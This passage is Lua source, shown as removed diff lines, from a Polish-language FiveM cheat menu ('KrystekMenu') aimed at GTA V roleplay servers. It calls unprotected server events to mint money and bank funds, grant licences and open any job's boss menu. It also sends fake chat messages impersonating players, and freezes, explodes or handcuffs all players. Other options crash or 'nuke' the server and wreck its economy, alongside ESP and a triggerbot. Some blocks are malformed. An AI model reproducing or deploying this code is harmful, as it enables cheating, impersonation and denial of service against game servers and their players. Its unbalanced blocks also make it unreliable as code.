- elseif KrystekMenu.Button("~b~~h~Kosmita") then
- local model = "s_m_m_movalien_01"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Pongo") then
- local model = "u_m_y_pogo_01"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~Koks") then
- local model = "u_m_y_babyd"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- elseif KrystekMenu.Button("~b~~h~FiveM") then
- local model = "mp_m_freemode_01"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- elseif KrystekMenu.Button("~b~~h~Zombie") then
- local model = "u_m_y_zombie_01"
- RequestModel(GetHashKey(model))
- Wait(500)
- if HasModelLoaded(GetHashKey(model)) then
- SetPlayerModel(PlayerId(), GetHashKey(model))
- end
- else ShowInfo("~r~Model nie rozpoznany") end
- elseif KrystekMenu.Button("~r~~h~Randomowe Ubranie") then
- SetPedRandomComponentVariation(PlayerPedId(), true)
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('ESXBoss') then
- if KrystekMenu.Button('~c~~h~Mechanik~s~ Boss Menu') then
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'mecano',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'mecano',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'mecano',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'mecano',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'mecano',
- function(er, es)
- es.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'mecano',
- function(er, es)
- es.close()
- end
- )
- KrystekMenu.CloseMenu()
- elseif KrystekMenu.Button('~b~~h~Police~s~ Boss Menu') then
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'police',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'police',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'police',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'police',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'police',
- function(er, es)
- es.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'police',
- function(er, es)
- es.close()
- end
- )
- KrystekMenu.CloseMenu()
- elseif KrystekMenu.Button('~r~~h~Ambulance~s~ Boss Menu') then
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'ambulance',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'ambulance',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'ambulance',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'ambulance',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'ambulance',
- function(er, es)
- es.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'ambulance',
- function(er, es)
- es.close()
- end
- )
- KrystekMenu.CloseMenu()
- elseif KrystekMenu.Button('~y~~h~Taxi~s~ Boss Menu') then
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'taxi',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'taxi',
- function(en, eo)
- eo.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'taxi',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'taxi',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'taxi',
- function(er, es)
- es.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'taxi',
- function(er, es)
- es.close()
- end
- )
- KrystekMenu.CloseMenu()
- elseif KrystekMenu.Button('~g~~h~Agent Nieruchomosci~s~ Boss Menu') then
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'realestateagent',
- function(en, eo)
- KrystekMenu.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'realestateagent',
- function(en, eo)
- KrystekMenu.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'realestateagent',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'realestateagent',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'realestateagent',
- function(er, es)
- es.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'realestateagent',
- function(er, es)
- es.close()
- end
- )
- KrystekMenu.CloseMenu()
- elseif KrystekMenu.Button('~o~~h~Car Dealer~s~ Boss Menu') then
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'cardealer',
- function(en, eo)
- KrystekMenu.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'cardealer',
- function(en, eo)
- KrystekMenu.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'cardealer',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'cardealer',
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'cardealer',
- function(er, es)
- es.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- 'cardealer',
- function(er, es)
- es.close()
- end
- )
- KrystekMenu.CloseMenu()
- elseif KrystekMenu.Button('~y~~h~Customowy~s~ Boss Menu') then
- local m = KeyboardInput('Wprowadz nazwe pracy', '', 100)
- if m ~= '' then
- TriggerEvent(
- 'esx_society:openBossMenu',
- m,
- function(en, eo)
- KrystekMenu.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- m,
- function(ep, eq)
- eq.close()
- end
- )
- TriggerEvent(
- 'esx_society:openBossMenu',
- m,
- function(er, es)
- es.close()
- end
- )
- KrystekMenu.CloseMenu()
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('ESXMoney') then
- if KrystekMenu.Button('~h~~o~Autamatyczna Kasa ~r~ UWAGA!') then
- automaticmoneyesx()
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Kaucja zwroc') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_jobs:caution', 'give_back', m)
- TriggerServerEvent('esx_jobs:caution', "give_back", m, 0, 0)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~b~Wyplata ze spolecznych') then
- local praca = KeyboardInput('Wprowadz nazwe pracy', '', 100)
- local kasa = KeyboardInput('Wprowadz ilosc kasy do wyplacenia', '', 100)
- if praca ~= '' and kasa ~= '' then
- TriggerServerEvent('esx_society:withdrawMoney', praca, kasa)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Eden Garage') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent(
- 'eden_garage:payhealth',
- {
- costs = -m
- }
- )
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Dostawca paliwa') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_fueldelivery:pay', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Zlodziej samochodow') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_carthief:pay', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~DMV Kasa') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent(
- 'esx_dmvschool:pay',
- {
- costs = -m
- }
- )
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Paliwo') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent(
- 'LegacyFuel:PayFuel',
- {
- costs = -m
- }
- )
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Brudna Robota') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_godirtyjob:pay', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Pizza Boy') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_pizza:pay', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Lesniczy') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_ranger:pay', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Zdrapka Dispenser') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('scratchoffs:dispenseReward', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~GarbageJob') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_garbagejob:pay', m)
- TriggerServerEvent('6a7af019-2b92-4ec2-9435-8fb9bd031c26', m)
- TriggerServerEvent('esx_garbagejob:lukipay', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~LSC Custom Kasa') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('lscustoms:payGarage', {costs = -m})
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Zlodziej aut ~r~Brudna Kasa') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_carthief:pay', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~TruckerJob') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_truckerjob:pay', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Admin Daj Bank') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('AdminMenu:giveBank', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Admin Daj Kase') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('AdminMenu:giveCash', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~GoPostal') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_gopostaljob:pay', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Bankier') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_banksecurity:pay', m)
- TriggerServerEvent('ac14d095-3fb8-4b1c-8331-2e6aa1d6a96', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~y~Slot Machine') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('esx_slotmachine:sv:2', m)
- end
- elseif KrystekMenu.Button('~g~~h~Tost ~y~Zdrapka') then
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- TriggerServerEvent("tostzdrapka:wygranko")
- elseif KrystekMenu.Button('~h~~g~ESX ~y~Taxi Sukces') then
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- TriggerServerEvent('esx_taxijob:success')
- elseif KrystekMenu.Button('~g~~h~ESX ~b~~h~GlitchRP ~g~~h~KASA') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('payforplayer2',m)
- end
- elseif
- KrystekMenu.CheckBox(
- '~g~~h~ESX ~y~Hunting wygrana',
- huntspam,
- function(dR)
- huntspam = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~g~~h~ESX ~h~~r~Zbieraj EMS Kurier',
- LimitRpkurier,
- function(dR)
- LimitRpkurier = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~g~~h~ESX ~y~MustRP ~r~Gornik',
- MustGornik,
- function(dR)
- MustGornik = dR
- end
- )
- then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('ESXBankomat') then
- if KrystekMenu.Button('~g~~h~ESX ~b~Przelew kasy') then
- local gracz = KeyboardInput('Wprowadz id gracza', '', 100)
- local kasa = KeyboardInput('Wprowadz ilosc kasy', '', 100)
- if gracz ~= '' and kasa ~= '' then
- TriggerServerEvent('bank:transfer', gracz, kasa)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~b~Pieniadze wplac') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('bank:deposit', m)
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~b~Pieniadze wyplac') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('bank:withdraw', m)
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('ESXCustom') then
- if KrystekMenu.Button('~w~~h~Ustaw ~y~Jedzenie Na ~h~~g~100') then
- TriggerEvent('esx_status:set', 'hunger', 1000000)
- elseif KrystekMenu.Button('~w~~h~Ustaw ~b~Wode Na ~h~~g~100') then
- TriggerEvent('esx_status:set', 'thirst', 1000000)
- elseif KrystekMenu.Button('<FONT COLOR="#000CFF">Ustaw noc') then
- NetworkOverrideClockTime(23, 50, 0)
- elseif KrystekMenu.Button('<FONT COLOR="#FBFF00">Ustaw dzien') then
- NetworkOverrideClockTime(12, 12, 0)
- elseif KrystekMenu.Button('<FONT COLOR="#E84826">Ustaw Pogode Na Czysta') then
- SetOverrideWeather(clear)
- elseif KrystekMenu.Button('~g~~h~ESX <FONT COLOR="#FF00F7">Plasterek') then
- TriggerServerEvent('esx_ambulancejob:heal', GetPlayerServerId(closestPlayer), 'big')
- elseif KrystekMenu.Button('~g~~h~ESX ~r~Revive') then
- local idgracza = KeyboardInput('Wprowadz ID lub all', '', 1000)
- if idgracza then
- if idgracza == 'all' then
- for i = 0, 128 do
- TriggerEvent('esx_ambulancejob:revive', GetPlayerServerId(i))
- TriggerServerEvent('esx_ambulancejob:revive', GetPlayerServerId(i))
- TriggerServerEvent('esx_ambulancejob:heal', GetPlayerServerId(i), 'big')
- end
- else
- TriggerEvent('esx_ambulancejob:revive', idgracza)
- TriggerEventServer('esx_ambulancejob:revive', idgracza)
- TriggerServerEvent('esx_ambulancejob:heal', idgracza, 'big')
- end
- end
- elseif KrystekMenu.Button('~g~~h~ESX ~b~Skuj') then
- local f = KeyboardInput('Wprowadz ID lub all', '', 1000)
- if f then
- if f == 'all' then
- for i = 0, 128 do
- TriggerServerEvent('esx_policejob:handcuff', GetPlayerServerId(i))
- TriggerEvent('esx_policejob:handcuff', GetPlayerServerId(i))
- end
- else
- TriggerEvent('esx_policejob:handcuff', f)
- TriggerServerEvent('esx_policejob:handcuff', f)
- end
- end
- elseif KrystekMenu.IsMenuOpened('LuaMenu') then
- elseif KrystekMenu.Button("~h~Zaznacz swoje auto") then
- local ped = GetPlayerPed(-1)
- local car = IsPedInAnyVehicle(ped, false)
- local PlayerCar = GetVehiclePedIsIn(ped, false)
- if car then
- local blip = AddBlipForEntity(PlayerCar)
- SetBlipSprite(blip, 326)
- SetBlipColour(blip, 26)
- SetBlipScale(blip, 0.85)
- SetBlipPriority(blip, 50)
- ShowTickOnBlip(blip, true)
- else
- drawNotification("~r~Nie jestes w pojezdzie")
- end
- elseif KrystekMenu.Button('~g~ESX ~h~Darmowe Prawko ~r~Wszystkie') then
- TriggerServerEvent('esx_dmvschool:addLicense', 'dmv')
- TriggerServerEvent('esx_dmvschool:addLicense', 'drive')
- TriggerServerEvent('esx_dmvschool:addLicense', 'drive_bike')
- TriggerServerEvent('esx_dmvschool:addLicense', 'drive_truck')
- TriggerServerEvent('esx_airlines:addLicense', 'helico')
- TriggerServerEvent('esx_airlines:addLicense', 'avion')
- elseif KrystekMenu.Button('~g~ESX ~h~Darmowe Prawko ~r~A') then
- TriggerServerEvent('esx_dmvschool:addLicense', 'dmv')
- TriggerServerEvent('esx_dmvschool:addLicense', 'drive')
- elseif KrystekMenu.Button('~g~ESX ~h~Darmowe Prawko ~r~B') then
- TriggerServerEvent('esx_dmvschool:addLicense', 'dmv')
- TriggerServerEvent('esx_dmvschool:addLicense', 'drive_bike')
- elseif KrystekMenu.Button('~g~ESX ~h~Darmowe Prawko ~r~C') then
- TriggerServerEvent('esx_dmvschool:addLicense', 'dmv')
- TriggerServerEvent('esx_dmvschool:addLicense', 'drive_truck')
- elseif KrystekMenu.Button('~h~~b~Kup ~s~a Auto Za ~g~Free') then
- cv()
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('ESXDrugs') then
- if KrystekMenu.Button('~h~~g~Zbieraj ~g~Maryche') then
- hrweed()
- elseif KrystekMenu.Button('~h~~g~Przerob ~g~Maryche') then
- trweed()
- elseif KrystekMenu.Button('~h~~g~Sprzedaj ~g~Maryche') then
- srweed()
- elseif KrystekMenu.Button('~h~~w~Zbieraj ~w~Coke') then
- hrcoke()
- elseif KrystekMenu.Button('~h~~w~Przerob ~w~Coke') then
- trcoke()
- elseif KrystekMenu.Button('~h~~w~Sprzedaj ~w~Coke') then
- srcoke()
- elseif KrystekMenu.Button('~h~~r~Zbieraj Mete') then
- hrmeth()
- elseif KrystekMenu.Button('~h~~r~Przerob Mete') then
- trmeth()
- elseif KrystekMenu.Button('~h~~r~Sprzedaj Mete') then
- srmeth()
- elseif KrystekMenu.Button('~h~~p~Zbieraj Opium') then
- hropi()
- elseif KrystekMenu.Button('~h~~p~Przerob Opium') then
- tropi()
- elseif KrystekMenu.Button('~h~~p~Sprzedaj Opium') then
- sropi()
- elseif KrystekMenu.Button('~h~~b~Zbieraj Jablka') then
- hrjab()
- elseif KrystekMenu.Button('~h~~b~Przerob Jablka') then
- trjab()
- elseif KrystekMenu.Button('~h~~b~Sprzedaj Jablka') then
- sjab()
- elseif KrystekMenu.Button('~h~~y~Zbieraj Grzyby') then
- hrgrz()
- elseif KrystekMenu.Button('~h~~y~Przerob Grzyby') then
- trgrz()
- elseif KrystekMenu.Button('~h~~y~Sprzedaj Grzyby') then
- srgrz()
- elseif KrystekMenu.Button('~h~<FONT COLOR="#FF8700">Zbieraj Bitcoin') then
- harvestbitcoin()
- elseif KrystekMenu.Button('~h~<FONT COLOR="#FF8700">Sprzedaj Bitcoin') then
- sellbitcoin()
- elseif KrystekMenu.Button('~h~<FONT COLOR="#17FF00">Zbieraj Butla z gazem') then
- harvestgazbottle()
- elseif KrystekMenu.Button('~h~<FONT COLOR="#17FF00">Zrob Butle z gazem') then
- craftgazbottle()
- elseif KrystekMenu.Button('~h~<FONT COLOR="#959595">Zbieraj Repair Kit') then
- harvestrepairkits()
- elseif KrystekMenu.Button('~h~<FONT COLOR="#959595">Zrob Repair Kit') then
- craftrepairkits()
- elseif KrystekMenu.Button('~h~<FONT COLOR="#0055FF">Zbieraj Body Kit') then
- harvestbodykits()
- elseif KrystekMenu.Button('~h~<FONT COLOR="#0055FF">Zrob Body Kit') then
- craftbodykits()
- elseif KrystekMenu.Button('~h~~g~Pralnia Brudnych') then
- pralniabr()
- elseif KrystekMenu.Button('~h~~y~Sprzedaj Dragi Lokalnym') then
- selldrugs()
- elseif KrystekMenu.Button('~r~~h~Zatrzymaj Wszystko') then
- rmatanumaispalarufe()
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~Zbieraj Wszystko ~y~RYZYKOWNE!',
- BlowDrugsUp,
- function(dR)
- BlowDrugsUp = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~Zbieraj Narko ~b~GlitchRP',
- GlitchRPblack,
- function(dR)
- GlitchRPblack = dR
- end
- )
- then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('VRPTriggers') then
- if KrystekMenu.Button('~r~~h~VRP ~s~Daj kase ~ypayGarage') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent(
- 'lscustoms:payGarage',
- {
- costs = -m
- }
- )
- end
- elseif KrystekMenu.Button('~r~~h~VRP ~g~Wygaraj ~s~Slot Machine') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('vrp_slotmachine:server:2', m)
- end
- elseif KrystekMenu.Button('~g~~h~FUEL ~y~Legacy Fuel') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent(
- 'LegacyFuel:PayFuel',
- {
- costs = -m
- }
- )
- end
- elseif KrystekMenu.Button('~r~~h~VRP ~s~Zdobadz prawo jazdy') then
- TriggerServerEvent('dmv:success')
- elseif KrystekMenu.Button('~r~~h~VRP ~s~Bank Deposit') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('Banca:deposit', m)
- TriggerServerEvent('bank:deposit', m)
- end
- elseif KrystekMenu.Button('~r~~h~VRP ~s~Bank Withdraw ') then
- local m = KeyboardInput('Wpisz ilosc kasy', '', 100)
- if m ~= '' then
- TriggerServerEvent('bank:withdraw', m)
- TriggerServerEvent('Banca:withdraw', m)
- end
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('MiscTriggers') then
- if KrystekMenu.Button('~h~Wyslij Wiadomosc DiscordBot') then
- local et = KeyboardInput('Wpisz Nazwe Do Wyslania', '', 100)
- TriggerServerEvent('DiscordBot:playerDied', et, '1337')
- av('Wiadomosc:~n~' .. et .. '~n~Zostala ~g~Wyslana!', true)
- elseif KrystekMenu.Button('~h~Wyslij Fake Wiadomosc') then
- local eu = KeyboardInput('Wpisz nazwe gracza', '', 100)
- if eu then
- local db = KeyboardInput('Wpisz wiadomosc', '', 1000)
- if db then
- TriggerServerEvent(
- '_chat:messageEntered',
- eu,
- {
- 0,
- 0x99,
- 255
- },
- db
- )
- end
- end
- elseif KrystekMenu.Button('~h~~g~ESX ~y~CarThief ~s~TROLL') then
- av('~y~esx_carthief ~g~required', true)
- av('~g~Trying to send alerts', false)
- carthieftroll()
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('AdvM') then
- if KrystekMenu.MenuButton('~h~~p~#~s~ Menu Rozpierdolu', 'Destroyer') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ ESP Menu', 'ESPMenu') then
- elseif KrystekMenu.MenuButton('~h~~p~#~s~ Celowniki', 'CsMenu') then
- elseif
- KrystekMenu.CheckBox(
- '~h~TriggerBot',
- TriggerBot,
- function(dR)
- TriggerBot = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Oznaczanie graczy',
- dx,
- function(dx)
- end
- )
- then
- cL = not cL
- dx = cL
- elseif
- KrystekMenu.CheckBox(
- '~h~Nazwy nad graczami ~g~v1',
- cM,
- function(dR)
- cM = dR
- cN = false
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~Nazwy nad graczami ~g~v2',
- cN,
- function(dR)
- cN = dR
- cM = false
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~Zamroz~s~ Wszystkich Graczy',
- freezeall,
- function(dR)
- freezeall = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~Exploduj~s~ Wszystkich Graczy',
- blowall,
- function(dR)
- blowall = dR
- end
- )
- then
- elseif KrystekMenu.Button('~h~~r~Daj Burgera Dla~s~ Wszystkich') then
- for i = 0, 128 do
- if IsPedInAnyVehicle(GetPlayerPed(i), true) then
- local eb = 'xs_prop_hamburgher_wl'
- local ec = GetHashKey(eb)
- while not HasModelLoaded(ec) do
- Citizen.Wait(0)
- RequestModel(ec)
- end
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- ed,
- GetVehiclePedIsIn(GetPlayerPed(i), false),
- GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(i), false), 'chassis'),
- 0,
- 0,
- -1.0,
- 0.0,
- 0.0,
- 0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- else
- local eb = 'xs_prop_hamburgher_wl'
- local ec = GetHashKey(eb)
- while not HasModelLoaded(ec) do
- Citizen.Wait(0)
- RequestModel(ec)
- end
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- ed,
- GetPlayerPed(i),
- GetPedBoneIndex(GetPlayerPed(i), 0),
- 0,
- 0,
- -1.0,
- 0.0,
- 0.0,
- 0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- end
- end
- elseif KrystekMenu.Button('~h~~o~Discord RPC~s~ Add/Remove') then
- h = not h
- if not h then
- SetRichPresence(0)
- SetDiscordAppId(0)
- SetDiscordRichPresenceAsset(0)
- SetDiscordRichPresenceAssetText(0)
- else
- e()
- end
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~Ra~g~nd~b~om ~s~Notification Color',
- rgbnot,
- function(dR)
- rgbnot = dR
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~Confirms~s~ masterswitch',
- cO,
- function(dR)
- cO = dR
- end
- )
- then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('CsMenu') then
- if
- KrystekMenu.CheckBox(
- '~h~~y~Oryginalny ~s~Celownik',
- crosshair,
- function(dR)
- crosshair = dR
- crosshairc = false
- crosshairc2 = false
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~Krzyzykowy ~s~Celownik',
- crosshairc,
- function(dR)
- crosshair = false
- crosshairc = dR
- crosshairc2 = false
- end
- )
- then
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~Mala Kropka ~s~Celownik',
- crosshairc2,
- function(dR)
- crosshair = false
- crosshairc = false
- crosshairc2 = dR
- end
- )
- then
- end
- KrystekMenu.Display()
- elseif KrystekMenu.IsMenuOpened('Destroyer') then
- if KrystekMenu.Button('~h~~r~Niszcz ~s~Serwer') then
- nukeserver()
- elseif
- KrystekMenu.CheckBox(
- '~h~~r~Silent ~s~Serwer ~y~Crasher',
- servercrasherxd,
- function(dR)
- servercrasherxd = dR
- end
- )
- then
- elseif KrystekMenu.Button('~h~~g~ESX ~r~Rozpierdol ~b~v2') then
- esxdestroyv2()
- elseif KrystekMenu.Button('~h~~g~ESX ~r~Rozpierdol ~b~Salary') then
- EconomyDy2()
- elseif KrystekMenu.Button('~h~~r~VRP ~s~Daj wszystkim kase') then
- vrpdestroy()
- elseif KrystekMenu.Button('~h~~g~ESX ~s~Daj wszystkim kase') then
- giveeveryone()
